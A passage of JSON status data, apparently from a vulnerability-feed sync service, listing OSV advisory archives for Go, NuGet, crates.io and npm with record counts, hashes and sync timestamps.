sent.","generation":"enrichment-d44f9ddfc3b944cf9f918f0296ab9362","complete":true,"records":13666,"lastAttemptAt":"2026-11-08T22:02:41.4763214+00:00","lastSuccessAt":"2026-11-08T22:02:41.472+00:00","error":null,"lastVerifiedAt":"2026-11-08T22:02:41.472+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13706,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-980593e6977a6d1b4fb1eed5a1ffe88a468736f89f0a06f710924ad59132c023","complete":true,"records":9914,"lastAttemptAt":"2026-11-08T22:02:15.9240904+00:00","lastSuccessAt":"2026-11-08T11:07:07.068788+00:00","error":null,"lastVerifiedAt":"2026-11-08T22:02:15.9240904+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-08T22:02:15.7236649+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-08T22:02:15.7236649+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-964c14035e6f0f6478b2870fad6a7ef9f6045876d4a12af2c2e514521e54b6af","complete":true,"records":3055,"lastAttemptAt":"2026-11-08T22:02:16.0280445+00:00","lastSuccessAt":"2026-11-08T11:07:12.1927025+00:00","error":null,"lastVerifiedAt":"2026-11-08T22:02:16.0280445+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-f8647d7ba64b1ba0dfdc7130944766d5b36d5b77d18fff0c79e651a4cff3c2b9","complete":true,"records":231293,"lastAttemptAt":"2026-11-08T22:02:15.8267172+00:00","lastSuccessAt":"2026-11-08T11:06:56.2918717+00:00","error":null,"lastVerifiedAt":"2026-11-08T22:02:15.8267172+00:00","snapshotPublishedAt":"2026-11-08T11:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}